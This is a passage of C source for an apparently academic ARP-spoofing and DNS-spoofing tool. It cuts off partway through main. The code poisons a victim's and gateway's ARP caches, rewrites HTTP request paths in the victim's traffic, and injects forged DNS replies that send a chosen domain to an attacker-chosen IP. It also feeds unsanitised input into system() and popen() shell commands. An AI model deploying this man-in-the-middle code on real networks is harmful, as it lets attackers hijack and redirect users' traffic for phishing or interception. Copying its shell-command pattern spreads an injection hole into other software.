flag*/ 138 | #define TCP_PROTOCOL 0x06 139 | #define UDP_PROTOCOL 0x11 140 | u_int8_t ip_ttl; /* time to live */ 141 | u_int8_t ip_p; /* protocol */ 142 | u_int16_t ip_sum; /* checksum */ 143 | struct in_addr ip_src, ip_dst; /* source and dest address */ 144 | }; 145 | #define IP_V(ip) (((ip)->ip_vhl & 0xf0) >> 4) /* extracts the IP version */ 146 | #define IP_HL(ip) ((ip)->ip_vhl & 0x0f) /* extracts the IP header length value */ 147 | 148 | struct tcp_header 149 | { 150 | u_short th_sport; /* source port */ 151 | u_short th_dport; /* destination port */ 152 | u_int th_seq; /* sequence number */ 153 | u_int th_ack; /* acknowledgement number */ 154 | u_char th_offx2; /* data offset and reserved bits */ 155 | #define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4) 156 | u_char th_flags; 157 | #define TH_FIN 0x01 158 | #define TH_SYN 0x02 159 | #define TH_RST 0x04 160 | #define TH_PUSH 0x08 161 | #define TH_ACK 0x10 162 | #define TH_URG 0x20 163 | #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_PUSH|TH_ACK|TH_URG) 164 | u_short th_win; /* window size*/ 165 | u_short th_sum; /* checksum */ 166 | u_short th_urp; /* urgent pointer */ 167 | }; 168 | 169 | struct pseudo_tcp_header 170 | { 171 | struct in_addr src_ip, dest_ip; 172 | u_char reserved; 173 | u_char protocol; 174 | u_short tcp_size; 175 | }; 176 | 177 | struct udp_header{ 178 | u_short udp_src_port; /*source port*/ 179 | u_short udp_dst_port; /*dest port*/ 180 | u_short udp_len; /*UDP length*/ 181 | u_short udp_checksum; /*UDP check sum*/ 182 | }; 183 | 184 | struct dns_header{ 185 | u_short dns_trans_id; /*transaction id*/ 186 | u_char dns_flag_h; /*DNS flag high 8bit*/ 187 | #define DNS_QR(dns) (((dns)->dns_flag_h) & 0x80) /*DNS type*/ 188 | #define DNS_OPCODE(dns) (((dns)->dns_flag_h) & 0x70)/*DNS message type*/ 189 | #define DNS_AA(dns) (((dns)->dns_flag_h) & 0x04) /*DNS command answer*/ 190 | #define DNS_TC(dns) (((dns)->dns_flag_h) & 0x02) /*DNS is cut*/ 191 | #define DNS_RD(dns) (((dns)->dns_flag_h) & 0x01) /*DNS Resursive service*/ 192 | u_char dns_flag_l; /*DNS flag low 8bit*/ 193 | #define DNS_RA(dns) (((dns)->dns_flag_l) & 0x80) /*DNS flag recursion available bit*/ 194 | #define DNS_Z(dns) (((dns)->dns_flag_l) & 0x70) /*don't know about this bit*/ 195 | #define DNS_AD(dns) (((dns)->dns_flag_l) & 0x20) /*DNS flag authenticated data bit*/ 196 | #define DNS_CD(dns) (((dns)->dns_flag_l) & 0x10) /*DNS flag checking disabled bit*/ 197 | #define DNS_RCODE(dns) (((dns)->dns_flag_l) & 0xF) /*DNS flag return code*/ 198 | u_short dns_q_num; /*DNS question number*/ 199 | u_short dns_r_num; /*DNS answer number*/ 200 | u_short dns_ar_num; 201 | u_short dns_er_num; 202 | }; 203 | 204 | struct dns_query{ 205 | u_char *dname; /*domain name*/ 206 | u_short type; /*domain type*/ 207 | u_short class; /*domain class*/ 208 | }; 209 | 210 | struct dns_response{ 211 | u_short offset; /*offset for the DNS response part*/ 212 | u_long ttl; /*time to live*/ 213 | u_short len; /*data length*/ 214 | u_short type; /*domain type*/ 215 | u_short class; /*domain class*/ 216 | u_char ip_addr[IPADDR_LEN]; 217 | }; 218 | 219 | /* Other Global variables */ 220 | char* if_name; 221 | char* filter = "host ", *filter_string = NULL; // use the victim's address for the filter 222 | char pcap_errbuf[PCAP_ERRBUF_SIZE]; 223 | struct timeval tv, checktv; 224 | 225 | /*Hexadecimal format for the GET requests */ 226 | u_char http_get_request_liangzk[] = {0x2f,0x7e,0x6c,0x69,0x61,0x6e,0x67,0x7a,0x6b,0x2f}; // /~liangzk/ 227 | u_char http_get_request_changec[] = {0x2f,0x7e,0x63,0x68,0x61,0x6e,0x67,0x65,0x63,0x2f}; // /~changec/ 228 | u_char http_get_request_chanmc[] = {0x2f,0x7e,0x63,0x68,0x61,0x6e,0x6d,0x63,0x2f,0x2f}; // /~chanmc/ -> filled as /~chanmc// 229 | //u_char http_get[] = {0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31}; // HTTP/1.1 230 | u_char* targetIP; // Target ip where the Victim should be redirected to, by using it in DNS reply 231 | char* dns_request_dname; 232 | //u_char dns_request_dname[17] = {0x03,0x77,0x77,0x77,0x07,0x73,0x69,0x6e,0x67,0x74,0x65,0x6c,0x03,0x63,0x6f,0x6d,0x00}; 233 | //www.singtel.com 234 | 235 | /* Function prototypes and their definitions*/ 236 | u_int16_t Handle_Ethernet(u_char* arg, const struct pcap_pkthdr* pkthdr, const u_char* packet); 237 | int Handle_ARP(struct myStruct* mystruct, const struct pcap_pkthdr* pkthdr, const u_char* packet); 238 | int Handle_IP(struct myStruct* mystruct, const struct pcap_pkthdr* pkthdr, const u_char* packet); 239 | void Handle_DNS(struct myStruct* mystruct, u_char *packet, size_t size); 240 | void Print_Data(const u_char *payload, int len); 241 | u_short Calculate_Checksum(u_short *buffer, size_t size); 242 | u_short Calculate_Pseudo_Checksum(u_char* packet, size_t len); 243 | char* Handle_URL(char *domain_url); 244 | char* URL_Decode(char* domain_url); 245 | char Hex_To_Integer(char ch); 246 | 247 | // set the timer to its (current value + TIME_INTERVAL) when the program starts 248 | int Start_Timer(struct timeval *tv, time_t sec) { 249 | gettimeofday(tv, NULL); 250 | tv->tv_sec += sec; 251 | return 1; 252 | } 253 | 254 | //Checks the current time to see whether it > TIME_INTERVAL seconds than the previously noted time. 255 | int Check_Timer(time_t sec) { 256 | gettimeofday(&checktv, NULL); 257 | if (checktv.tv_sec-tv.tv_sec > sec) { //current time has elapsed the 30 second interval 258 | gettimeofday(&tv, NULL); 259 | return 1; 260 | } 261 | else 262 | return 0; 263 | } 264 | 265 | // Converts a hex character to its integer value 266 | char Hex_To_Integer(char ch) { 267 | return isdigit(ch) ? ch - '0' : tolower(ch) - 'a' + 10; 268 | } 269 | 270 | // this function converts the uncommon characters in the url such as '%', '+' to their integer form and returns the url string 271 | char* URL_Decode(char* domain_url) { 272 | char *pstr = domain_url, *buf = malloc(strlen(domain_url) + 1), *pbuf = buf; 273 | while (*pstr) { 274 | if (*pstr == '%') { 275 | if (pstr[1] && pstr[2]) { 276 | *pbuf++ = Hex_To_Integer(pstr[1]) << 4 | Hex_To_Integer(pstr[2]); 277 | pstr += 2; 278 | } 279 | } 280 | else if (*pstr == '+') 281 | *pbuf++ = ' '; 282 | else 283 | *pbuf++ = *pstr; 284 | pstr++; 285 | } 286 | *pbuf = '\0'; 287 | return buf; 288 | } 289 | 290 | // this function converts the url string returned from URL_Decode to the actual format that shall be written in a IP packet i.e 291 | // number_of_chars_till_dot followed by that many characters form 292 | char* Handle_URL(char *domain_url) { 293 | char *originalcode = URL_Decode(domain_url); 294 | size_t size = strlen(originalcode) + 2; 295 | char *urlcode = (char *)malloc(size); 296 | 297 | int i = 0; 298 | int num = 0; 299 | int pos = 0; 300 | char ch; 301 | urlcode[pos] = 0x00; 302 | while((ch = originalcode[i++]) != '\0') 303 | { 304 | num ++; 305 | urlcode[i] = ch; 306 | if(ch == 0x2e) // check if its a '.' in the url. If it is, then store the no. of characters 307 | { // read till that '.' in hex form and place it in the prefix place of that char sub-string 308 | urlcode[pos] = (u_char)(num - 1); 309 | pos += num; 310 | num = 0; 311 | } 312 | } 313 | urlcode[pos] = (u_char)num; 314 | urlcode[size-1] = 0x00; 315 | free(originalcode); 316 | return urlcode; 317 | } 318 | 319 | int Get_Mac_From_IP(const char* ip, u_char macAddr[ETH_ALEN]) { 320 | // we create an ARP entry for the given IP address in our network and then retrieve its MAC 321 | char cmd[100] = {0}; 322 | sprintf(cmd, "ping -c1 %s > NIL", ip); 323 | system(cmd); 324 | 325 | memset(cmd, 0, sizeof(cmd)); 326 | sprintf(cmd, "arp -a -n | grep %s", ip); //have to check whether this is creating some problem in injecting an ARP packet 327 | int nRet = Get_MAC_From_Terminal(cmd, macAddr); 328 | return 0; 329 | } 330 | 331 | int Get_MAC_From_Terminal(const char* cmd, u_char mac_addr[ETH_ALEN]) { 332 | char cmd_with_grep[100] = {0}; 333 | sprintf(cmd_with_grep, "%s | %s", cmd, GREP_MAC); 334 | 335 | FILE* command_stream = popen(cmd_with_grep, "r"); 336 | NULL_CHECK(command_stream); 337 | 338 | char mac_buf[19] = {0}; 339 | if (fgets(mac_buf, sizeof(mac_buf)-1, command_stream)) 340 | mac_ston(mac_buf, mac_addr); 341 | 342 | pclose(command_stream); 343 | return 0; 344 | } 345 | 346 | int Get_Gateway_IP(struct in_addr* gateway_ip) { 347 | FILE* command_stream = popen("/sbin/ip route | awk '/default/ {print $3}'", "r"); 348 | NULL_CHECK(command_stream); 349 | 350 | char ip_addr_buf[16] = {0}; 351 | fgets(ip_addr_buf, sizeof(ip_addr_buf)-1, command_stream); 352 | inet_aton(ip_addr_buf, gateway_ip); 353 | return 0; 354 | } 355 | 356 | void Get_IP_From_Device(char *dev) { 357 | int i, temp_err; 358 | struct ifreq ifr; 359 | if((size_t)strlen(dev) < sizeof(ifr.ifr_name)) { 360 | memcpy(ifr.ifr_name, dev, strlen(if_name)); 361 | ifr.ifr_name[strlen(if_name)] = 0; 362 | } 363 | else { 364 | printf("interface name is longer than the capacity of ifr.ifr_name\n"); 365 | return; 366 | } 367 | // providing an open socket descriptor 368 | int fd = socket(AF_INET, SOCK_DGRAM, 0); 369 | if(fd == -1) { 370 | printf("couldn't open the socket\n"); 371 | return; 372 | } 373 | //invoking ioctl 374 | if(ioctl(fd, SIOCGIFADDR, &ifr) == -1) { //request to get the PA address on the interface with ifreq as the structure 375 | temp_err = errno; 376 | close(fd); 377 | printf("%s\n", strerror(temp_err)); 378 | return; 379 | } 380 | 381 | //no need to check the return structure, since it returns ifr_addr in the form of struct sockaddr_in 382 | struct sockaddr_in* ipaddr = (struct sockaddr_in*)&ifr.ifr_addr; 383 | mystruct.myIP = ipaddr->sin_addr; // ipaddr->sin_addr is of type struct in_addr :-) 384 | close(fd); 385 | return; 386 | } 387 | 388 | void Print_Network_Variables(struct myStruct mystruct) { 389 | char mac_string[18] = {0}; 390 | mac_ntos(mystruct.myMAC, mac_string); 391 | printf("Attacker's MAC:\t%s\n", mac_string); 392 | printf("Victim IP:\t%s\n", inet_ntoa(mystruct.victimIP)); 393 | char* gateway_ip_string = inet_ntoa(mystruct.gatewayIP); 394 | mac_ntos(mystruct.victimMAC, mac_string); 395 | printf("Victim's MAC:\t%s\n", mac_string); 396 | printf("Gateway IP:\t%s\n", gateway_ip_string); 397 | mac_ntos(mystruct.gatewayMAC, mac_string); 398 | printf("Gateway's MAC:\t%s\n", mac_string); 399 | } 400 | 401 | void Main_Callback(u_char* arg, const struct pcap_pkthdr* pkthdr, const u_char* packet) { 402 | struct myStruct* mystruct = NULL; 403 | mystruct = (struct myStruct *) arg ; 404 | if (Check_Timer(TIME_INTERVAL)) { 405 | printf("Timer timeout!!\n"); 406 | ARP_Inject(*mystruct, false, mystruct->myMAC, &(mystruct->gatewayIP), mystruct->victimMAC, &(mystruct->victimIP)); 407 | } 408 | u_int16_t packet_type = Handle_Ethernet(arg, pkthdr, packet); 409 | if(packet_type == ETHERTYPE_ARP) { 410 | Handle_ARP(mystruct, pkthdr, packet); //dont bother about the ARP packets in HTTP redirecting 411 | } 412 | else if(packet_type == ETHERTYPE_IP) { 413 | Handle_IP(mystruct, pkthdr, packet); 414 | } 415 | return; 416 | } 417 | 418 | u_int16_t Handle_Ethernet(u_char* arg, const struct pcap_pkthdr* pkthdr, const u_char* packet) { 419 | u_int caplen = pkthdr->caplen; 420 | u_int length = pkthdr->len; 421 | struct ether_header *eth_hdr; // Extract the ethernet header from the packet 422 | u_short ether_type; 423 | if (caplen < ETHER_HDRLEN) { 424 | fprintf(stdout,"Packet length less than ethernet header length\n"); 425 | return -1; 426 | } 427 | eth_hdr = (struct ether_header *) packet; 428 | ether_type = ntohs(eth_hdr->ether_type); 429 | return ether_type; 430 | } 431 | 432 | int Handle_ARP(struct myStruct* mystruct, const struct pcap_pkthdr* pkthdr, const u_char* packet) { 433 | printf("Handling ARP packet..\n"); 434 | const struct ether_header* eth_hdr = (struct ether_header *) packet; 435 | const struct arp_header* arp_hdr = (struct arp_header *)(packet + sizeof(eth_hdr)); 436 | 437 | u_int16_t packet_type = arp_hdr->opcode; 438 | if (memcmp(arp_hdr->sender_mac, mystruct->victimMAC, ETH_ALEN) == 0) 439 | { 440 | printf("\n[ARP] Request Packet From Victim"); 441 | return ARP_Inject(*mystruct, false, mystruct->myMAC, &(mystruct->gatewayIP), mystruct->victimMAC, &(mystruct->victimIP)); 442 | } 443 | if(memcmp(arp_hdr->sender_mac, mystruct->gatewayMAC, ETH_ALEN == 0) && 444 | memcmp(arp_hdr->target_ip, (const void *)mystruct->victimIP.s_addr, sizeof(arp_hdr->target_ip)) == 0) { 445 | printf("\n[ARP] Request/Reply from Gateway to Victim"); 446 | sleep(5); 447 | return ARP_Inject(*mystruct, false, mystruct->myMAC, &(mystruct->gatewayIP), mystruct->victimMAC, &(mystruct->victimIP)); 448 | } 449 | return; 450 | } 451 | 452 | int Handle_IP(struct myStruct *mystruct, const struct pcap_pkthdr* pkthdr, const u_char* packet) { 453 | printf("Handling IP packet..\n"); 454 | size_t packet_length = pkthdr->caplen; 455 | u_char buf[PACKET_LENGTH]; 456 | memset(buf, '\0', sizeof(buf)); 457 | memcpy(buf, packet, packet_length); 458 | 459 | struct ether_header* eth_hdr = (struct ether_header *) packet; 460 | struct ip_header* ip_hdr = (struct ip_header*)(packet + ETHER_HDRLEN); 461 | int offset = 0; 462 | u_short cksum = 0; 463 | u_char checksum[sizeof(u_short)] ; 464 | 465 | if(memcmp(eth_hdr->ether_shost, mystruct->victimMAC, ETH_ALEN) == 0) { 466 | printf("\n[IP] From victim towards Gateway\n"); 467 | printf("Victim's IP: %s\n", inet_ntoa(mystruct->victimIP)); 468 | if(ip_hdr->ip_p == TCP_PROTOCOL) { //Handle the TCP packet to change its payload (under HTTP header) 469 | offset = ETHER_HDRLEN + sizeof(struct ip_header) + sizeof(struct tcp_header) + TCP_OPTION_LENGTH + 4; 470 | if(memcmp(buf+offset, http_get_request_changec, sizeof(http_get_request_changec)) == 0) { 471 | printf("Found Dr. Chang's URI\n"); 472 | if (strcmp(mystruct->target_page, "liangzk") == 0) // redirect to Dr. Liang's page 473 | memcpy(buf+offset, http_get_request_liangzk, sizeof(http_get_request_liangzk)); 474 | else if(strcmp(mystruct->target_page, "chanmc")==0) // redirect to Dr Chan's page 475 | memcpy(buf+offset, http_get_request_chanmc, sizeof(http_get_request_chanmc)); 476 | 477 | memset(buf+ETHER_HDRLEN+sizeof(struct ip_header)+16, 0, sizeof(u_short)); //set the TCP checksum to zero 478 | cksum = Calculate_Pseudo_Checksum(buf, packet_length); 479 | checksum[0] = (u_char)(((htons(cksum)) & 0xFF00) >> 8); 480 | checksum[1] = (u_char)((htons(cksum)) & 0x00FF); 481 | memcpy(buf + ETHER_HDRLEN + sizeof(struct ip_header) + 16, checksum, sizeof(u_short)) ; 482 | } 483 | } 484 | if (ip_hdr->ip_p == UDP_PROTOCOL) { 485 | printf("Its an UDP packet\n"); 486 | offset = ETHER_HDRLEN + sizeof(struct ip_header) + sizeof(struct udp_header) + sizeof(struct dns_header); 487 | // only handle the DNS packet if its domain has to be forged by us, otherwise do nothing 488 | if(memcmp(buf + offset, dns_request_dname, strlen(dns_request_dname)+1) == 0) { 489 | printf("Ah, here comes our DNS query! Going to handle it\n"); 490 | printf("DNS request Domain name:\t%s\n", dns_request_dname); 491 | Handle_DNS(mystruct, buf, packet_length); 492 | return ; 493 | } 494 | else 495 | printf("Some other DNS packet\n"); 496 | } 497 | memcpy(buf, mystruct->gatewayMAC, ETH_ALEN); 498 | memcpy(buf + ETH_ALEN, mystruct->myMAC, ETH_ALEN); 499 | if ((packet_length = pcap_inject(mystruct->handle, buf, packet_length)) == -1 ) { 500 | fprintf(stderr, "Packet injection failed: %s\n", pcap_geterr(mystruct->handle)); 501 | exit(EXIT_FAILURE); 502 | } 503 | } 504 | return; 505 | } 506 | 507 | void Handle_DNS(struct myStruct *mystruct, u_char *packet, size_t size) { 508 | printf("Handling DNS now\n"); 509 | struct ether_header *eth_send = (struct ether_header *)malloc(sizeof(struct ether_header)); 510 | struct ether_header *eth = (struct ether_header *)packet; 511 | struct ip_header *ip_send = (struct ip_header *)malloc(sizeof(struct ip_header)); 512 | struct ip_header *ip = (struct ip_header *)(packet + ETHER_HDRLEN); 513 | struct udp_header *udp_send = (struct udp_header *)malloc(sizeof(struct udp_header)); 514 | struct udp_header *udp = (struct udp_header *)(packet + ETHER_HDRLEN + sizeof(struct ip_header)); 515 | struct dns_header *dns_send = (struct dns_header *)malloc(sizeof(struct udp_header)); 516 | struct dns_header *dns = (struct dns_header *)(packet + ETHER_HDRLEN + sizeof(struct ip_header) + sizeof(struct udp_header)); 517 | struct dns_query *dns_q = (struct dns_query *)malloc(sizeof(struct dns_query)); 518 | struct dns_response *dns_r = (struct dns_response *)malloc(sizeof(struct dns_response)); 519 | size_t offset = ETHER_HDRLEN + sizeof(struct ip_header) + sizeof(struct udp_header) + sizeof(struct dns_header); 520 | printf("Offset calculated in the beginning: %d\n", offset); 521 | 522 | u_char buf[PACKET_LENGTH]; 523 | memset(buf, '\0', PACKET_LENGTH); 524 | memcpy(buf, packet, size); 525 | printf("Packet data copied to the buffer\n"); 526 | 527 | // Create the DNS query header 528 | dns_q->dname = (packet + offset); // domain name, this will be forged to a targetIP address now 529 | dns_q->type = htons(0x0001); // Type: A (Host address) 530 | dns_q->class = htons(0x0001); // Class: IN (0x0001) 531 | printf("Query header built\n"); 532 | 533 | // Create the DNS response header 534 | dns_r->offset= htons(0xc00c); // offset for the reply part 535 | dns_r->type = htons(0x0001); // Type: A (Host address) 536 | dns_r->class = htons(0x0001); // Class: IN (0x0001) 537 | dns_r->ttl = htonl(0x000000FF); // time to live 538 | dns_r->len = htons(0x0004); // Data length 539 | memcpy(dns_r->ip_addr, targetIP, IPADDR_LEN); 540 | printf("Response header built\n"); 541 | 542 | // build the DNS header 543 | memcpy(dns_send, dns, sizeof(struct dns_header)); 544 | dns_send->dns_flag_h = 0x81; 545 | dns_send->dns_flag_l = 0x80; 546 | dns_send->dns_r_num = htons(0x0001); 547 | printf("DNS header built\n"); 548 | 549 | // build the UDP header 550 | udp_send->udp_src_port = udp->udp_dst_port; 551 | udp_send->udp_dst_port = udp->udp_src_port; 552 | udp_send->udp_len = htons(ntohs(udp->udp_len) + sizeof(struct dns_response)); 553 | udp_send->udp_checksum = htons(0x0000); // the victim shouldn't check the checksum 554 | printf("UDP header built\n"); 555 | 556 | // build the IP header 557 | memcpy(ip_send, ip, sizeof(struct ip_header)); 558 | //printf("IP header copied\n"); 559 | ip_send->ip_len = htons(ntohs(ip->ip_len) + sizeof(struct dns_response)); 560 | ip_send->ip_id = htons(0x5555); 561 | ip_send->ip_off = htons(0x0000); 562 | ip_send->ip_ttl = 0x37; 563 | ip_send->ip_sum = 0x0000; 564 | memcpy(&(ip_send->ip_src), &(ip->ip_dst), sizeof(struct in_addr)); 565 | memcpy(&(ip_send->ip_dst), &(ip->ip_src), sizeof(struct in_addr)); 566 | ip_send->ip_sum = Calculate_Checksum((u_short *)ip_send, sizeof(struct ip_header)); 567 | printf("IP header built\n"); 568 | 569 | // build the Ethernet header 570 | memcpy(eth_send->ether_dhost, eth->ether_shost, ETH_ALEN); 571 | memcpy(eth_send->ether_shost, mystruct->gatewayMAC, ETH_ALEN); 572 | eth_send->ether_type = htons(ETHERTYPE_IP); 573 | printf("Ethernet header built\n"); 574 | 575 | // Finally build the packet 576 | memcpy(buf, eth_send, ETHER_HDRLEN); // copy the Ethernet header 577 | offset = ETHER_HDRLEN; 578 | memcpy(buf + offset, ip_send, sizeof(struct ip_header)); // copy the IP header 579 | offset = offset + sizeof(struct ip_header); 580 | memcpy(buf + offset, udp_send, sizeof(struct udp_header)); // copy the UDP header 581 | offset = offset + sizeof(struct udp_header); 582 | memcpy(buf + offset, dns_send, sizeof(struct dns_header)); // copy the DNS header 583 | offset = offset + sizeof(struct dns_header); 584 | printf("Offset calculated before adding DNS response: %d\n", offset); 585 | printf("Size of DNS response header to be copied: %d\n", sizeof(struct dns_response)); 586 | // MEMCPY(buf + size, dns_r, sizeof(struct dns_response)); // copy the DNS response header at the tail of the packet :-) 587 | // I don't know why null bytes were inserted by the above statement. Have resorted to some stupid lengthy steps as follows 588 | MEMCPY(buf+size, (const void*)&(dns_r->offset), sizeof(dns_r->offset)); 589 | size += sizeof(dns_r->offset); 590 | MEMCPY(buf+size, (const void*)&(dns_r->type), sizeof(dns_r->type)); 591 | size += sizeof(dns_r->type); 592 | MEMCPY(buf+size, (const void*)&(dns_r->class), sizeof(dns_r->class)); 593 | size += sizeof(dns_r->class) ; 594 | MEMCPY(buf+size, (const void*)&(dns_r->ttl), sizeof(dns_r->ttl)); 595 | size += sizeof(dns_r->ttl); 596 | MEMCPY(buf+size, (const void*)&(dns_r->len), sizeof(dns_r->len)); 597 | size += sizeof(dns_r->len); 598 | MEMCPY(buf+size, (const void*)&(dns_r->ip_addr), sizeof(dns_r->ip_addr)); 599 | size += sizeof(dns_r->ip_addr); 600 | //size = size + sizeof(struct dns_response); 601 | printf("Calculated size: %d bytes\n", size); 602 | if ((size = pcap_inject(mystruct->handle, buf, size)) == -1) { 603 | fprintf(stderr, "Inject Packet Failed:%s\n", pcap_geterr(mystruct->handle)); 604 | exit(EXIT_FAILURE); 605 | } 606 | printf("Created the DNS reply packet, going to inject it, size: %d bytes\n", size); 607 | free(eth_send); free(ip_send); free(udp_send); free(dns_r); free(dns_q); 608 | return; 609 | } 610 | 611 | u_short Calculate_Checksum(u_short *buffer, size_t size) { 612 | u_long cksum = 0; 613 | while(size > 1) { 614 | cksum += *buffer ++; 615 | size -= sizeof(u_short); 616 | } 617 | if (size) // if the checksum is odd 618 | cksum += *(u_char *)buffer; 619 | 620 | /* add the carries to the LSB 16-bits*/ 621 | while(cksum >> 16) 622 | cksum = (cksum >> 16) + (cksum & 0xffff); 623 | 624 | return (u_short)(~cksum); 625 | } 626 | 627 | u_short Calculate_Pseudo_Checksum(u_char* packet, size_t len) { 628 | u_short cksum = 0; 629 | struct ip_header* ip_hdr = (struct ip_header *)(packet + ETHER_HDRLEN); 630 | //building the pseudo-header 631 | struct pseudo_tcp_header pseudo_tcp_hdr; 632 | memcpy(&(pseudo_tcp_hdr.src_ip), &(ip_hdr->ip_src), sizeof(ip_hdr->ip_src)); 633 | memcpy(&(pseudo_tcp_hdr.dest_ip), &(ip_hdr->ip_dst), sizeof(ip_hdr->ip_dst)); 634 | pseudo_tcp_hdr.reserved = 0x00; 635 | pseudo_tcp_hdr.protocol = IPPROTO_TCP; 636 | pseudo_tcp_hdr.tcp_size = len - ETHER_HDRLEN - sizeof(struct ip_header); // equal to (tcp_header_len + data_len) 637 | printf("Pseudo data length to be checksummed :\n", pseudo_tcp_hdr.tcp_size); 638 | 639 | u_char word[sizeof(u_short)] ; //create a word of 16 bits, to facilitate checksum with 16-bit words 640 | 641 | word[0] = (u_char)((pseudo_tcp_hdr.tcp_size & 0xFF00) >> 8); 642 | word[1] = (u_char)(pseudo_tcp_hdr.tcp_size & 0x00FF); 643 | 644 | // build a buffer having the Pseudo-header fields 645 | u_char buf[PSEUDO_HDRLEN + pseudo_tcp_hdr.tcp_size]; 646 | memset(buf, '\0', PSEUDO_HDRLEN + pseudo_tcp_hdr.tcp_size); 647 | 648 | memcpy(buf, &(pseudo_tcp_hdr.src_ip), sizeof(in_addr_t)); 649 | memcpy(buf + sizeof(in_addr_t), &(pseudo_tcp_hdr.dest_ip), sizeof(in_addr_t)); 650 | memcpy(buf + 2 * sizeof(in_addr_t), &(pseudo_tcp_hdr.reserved), 1); 651 | memcpy(buf + 2 * sizeof(in_addr_t) + 1, &(pseudo_tcp_hdr.protocol), 1); 652 | memcpy(buf + 2 * sizeof(in_addr_t) + 2, word, 2); 653 | memcpy(buf + 2 * sizeof(in_addr_t) + 4, packet + ETHER_HDRLEN + sizeof(struct ip_header), pseudo_tcp_hdr.tcp_size); 654 | 655 | cksum = Calculate_Checksum((u_short *)buf, pseudo_tcp_hdr.tcp_size + PSEUDO_HDRLEN); 656 | return cksum; 657 | } 658 | 659 | void Create_ARP_Packet(struct myStruct mystruct, bool packet_type, const u_char sender_mac[ETH_ALEN], 660 | struct in_addr* sender_ip, const u_char target_mac[ETH_ALEN], struct in_addr* target_ip, unsigned char** arp_packet) { 661 | 662 | struct ether_header* eth_hdr = NULL; 663 | struct arp_header* arp_hdr = NULL; 664 | unsigned char frame[sizeof(struct ether_header)+sizeof(struct arp_header)]; 665 | 666 | // FILLING THE ETHERNET HEADER 667 | eth_hdr = (struct ether_header *) malloc(sizeof(struct ether_header)); 668 | MEMCPY(eth_hdr->ether_shost, sender_mac, sizeof(eth_hdr->ether_shost)); 669 | MEMCPY(eth_hdr->ether_dhost, target_mac, sizeof(eth_hdr->ether_dhost)); 670 | eth_hdr->ether_type = htons(ETH_P_ARP); 671 | 672 | // FILLING THE ARP HEADER 673 | arp_hdr = (struct arp_header *)malloc(sizeof(struct arp_header)); 674 | arp_hdr->hw_type = htons(ARPHRD_ETHER); 675 | arp_hdr->protocol_type = htons(ETH_P_IP); 676 | arp_hdr->hw_len = ETHER_ADDR_LEN; 677 | arp_hdr->protocol_len = sizeof(in_addr_t); 678 | arp_hdr->opcode = htons(packet_type?0x0001:0x0002); 679 | printf("\narp_header->opcode: %d\n", ntohs(arp_hdr->opcode)); 680 | MEMCPY(arp_hdr->sender_mac, sender_mac, sizeof(arp_hdr->sender_mac)); 681 | memcpy((arp_hdr->sender_ip), &(sender_ip->s_addr), sizeof(arp_hdr->sender_ip)); 682 | MEMCPY(arp_hdr->target_mac, target_mac, sizeof(arp_hdr->target_mac)); 683 | memcpy((arp_hdr->target_ip), &(target_ip->s_addr), sizeof(arp_hdr->target_ip)); 684 | 685 | memcpy(frame, eth_hdr, sizeof(struct ether_header)); 686 | memcpy(frame+sizeof(struct ether_header), arp_hdr, sizeof(struct arp_header)); 687 | 688 | char mac_string[20] = {0}; 689 | mac_ntos(arp_hdr->sender_mac, mac_string); 690 | printf("Source MAC:\t%s\n", mac_string); 691 | mac_ntos(arp_hdr->target_mac, mac_string); 692 | printf("Target MAC:\t%s\n", mac_string); 693 | printf("Source IP:\t%s\n", inet_ntoa(*sender_ip)); 694 | printf("Destination IP:\t%s\n", inet_ntoa(*target_ip)); 695 | printf("Size of packet: %d\n", sizeof(frame)); 696 | 697 | //*arp_packet = frame; //have to figure out handling pointers for the frame just created !!! 698 | if(pcap_inject(mystruct.handle, frame, sizeof(frame)) == -1) { 699 | fprintf(stderr, "%s\n", pcap_errbuf); 700 | pcap_close(mystruct.handle); 701 | } 702 | return; 703 | } 704 | 705 | int ARP_Inject(struct myStruct mystruct, bool packet_type, 706 | const u_char attacker_mac[ETH_ALEN], struct in_addr* fooled_ip, 707 | const u_char target_mac[ETH_ALEN], struct in_addr* target_ip) { 708 | unsigned char* arp_packet = NULL; 709 | u_int16_t packet_length = 0; 710 | printf("\nGoing to create an ARP reply packet"); 711 | Create_ARP_Packet(mystruct, packet_type, attacker_mac, fooled_ip, target_mac, target_ip, &arp_packet); 712 | // if(pcap_inject(mystruct.handle, (void *)(arp_packet), packet_length) == -1) 713 | // fprintf(stderr, "%s\n", pcap_errbuf); 714 | } 715 | 716 | int main(int argc, char* argv[]) { 717 | //struct timeval tv; 718 | filter_string = (char *)malloc(strlen(filter)+strlen(argv[2])+1); 719 | strncat(filter_string, filter, strlen(filter)); 720 | strncat(filter_string, argv[2], strlen(argv[2])); 721 | 722 | struct bpf_program fp; // holds the compiled program 723 | bpf_u_int32 maskp, netp; // subnet mask 724 | int count = 0, i; 725 | struct in_addr target_ip; 726 | 727 | // Get the interface name, target IP address, target_page(liangzk or chanmc) from command line. 728 | if (argc != 5) { 729 | fprintf(stderr, "usage: <~/path/to/dns_spoof/dns_spoof> \n"); 730 | exit(1); 731 | } 732 | 733 | memset(&mystruct, 0, sizeof(struct myStruct)); 734 | if_name = argv[1]; // get the interface to spoof upon 735 | 736 | //set victim's IP from the argument argv[2] 737 | inet_aton(argv[2], &(mystruct.victimIP)); 738 | printf("filter string:\t%s\n", filter_string); 739 | 740 | inet_aton(argv[3], &target_ip); // target ip that shall be poisoned in victim's DNS cache 741 | targetIP = (u_char*)(&target_ip); 742 | 743 | if((dns_request_dname = Handle_URL(argv[4])) == NULL) { // get the domain-to-be-forged, decode it for DNS injection 744 | printf("Couldn't decode the url of the domain to be forged\n"); 745 | exit(0); 746 | } 747 | 748 | // set the attacker's MAC from the terminal 749 | char cmd[100] = {0}; 750 | sprintf(cmd, "ifconfig %s | grep %s", if_name, if_name); 751 | Get_MAC_From_Terminal(cmd, mystruct.myMAC); // get my MAC address 752 | 753 | Get_IP_From_Device(if_name); // get my IP address 754 | printf("My IP address: %s\n", inet_ntoa(mystruct.myIP)); 755 | 756 | //get victim's MAC from his IP address 757 | Get_Mac_From_IP(inet_ntoa(mystruct.victimIP), mystruct.victimMAC); 758 | 759 | // get the gateway's IP amd its MAC 760 | Get_Gateway_IP(&(mystruct.gatewayIP)); 761 | Get_Mac_From_IP(inet_ntoa(mystruct.gatewayIP), mystruct.gatewayMAC); 762 | 763 | Print_Network_Variables(mystruct); //prints Victim's IP and MAC, Gateway's IP and MAC and Attacker's MAC 764 | 765 | // Open a PCAP packet capture descriptor for the specified interface. 766 | 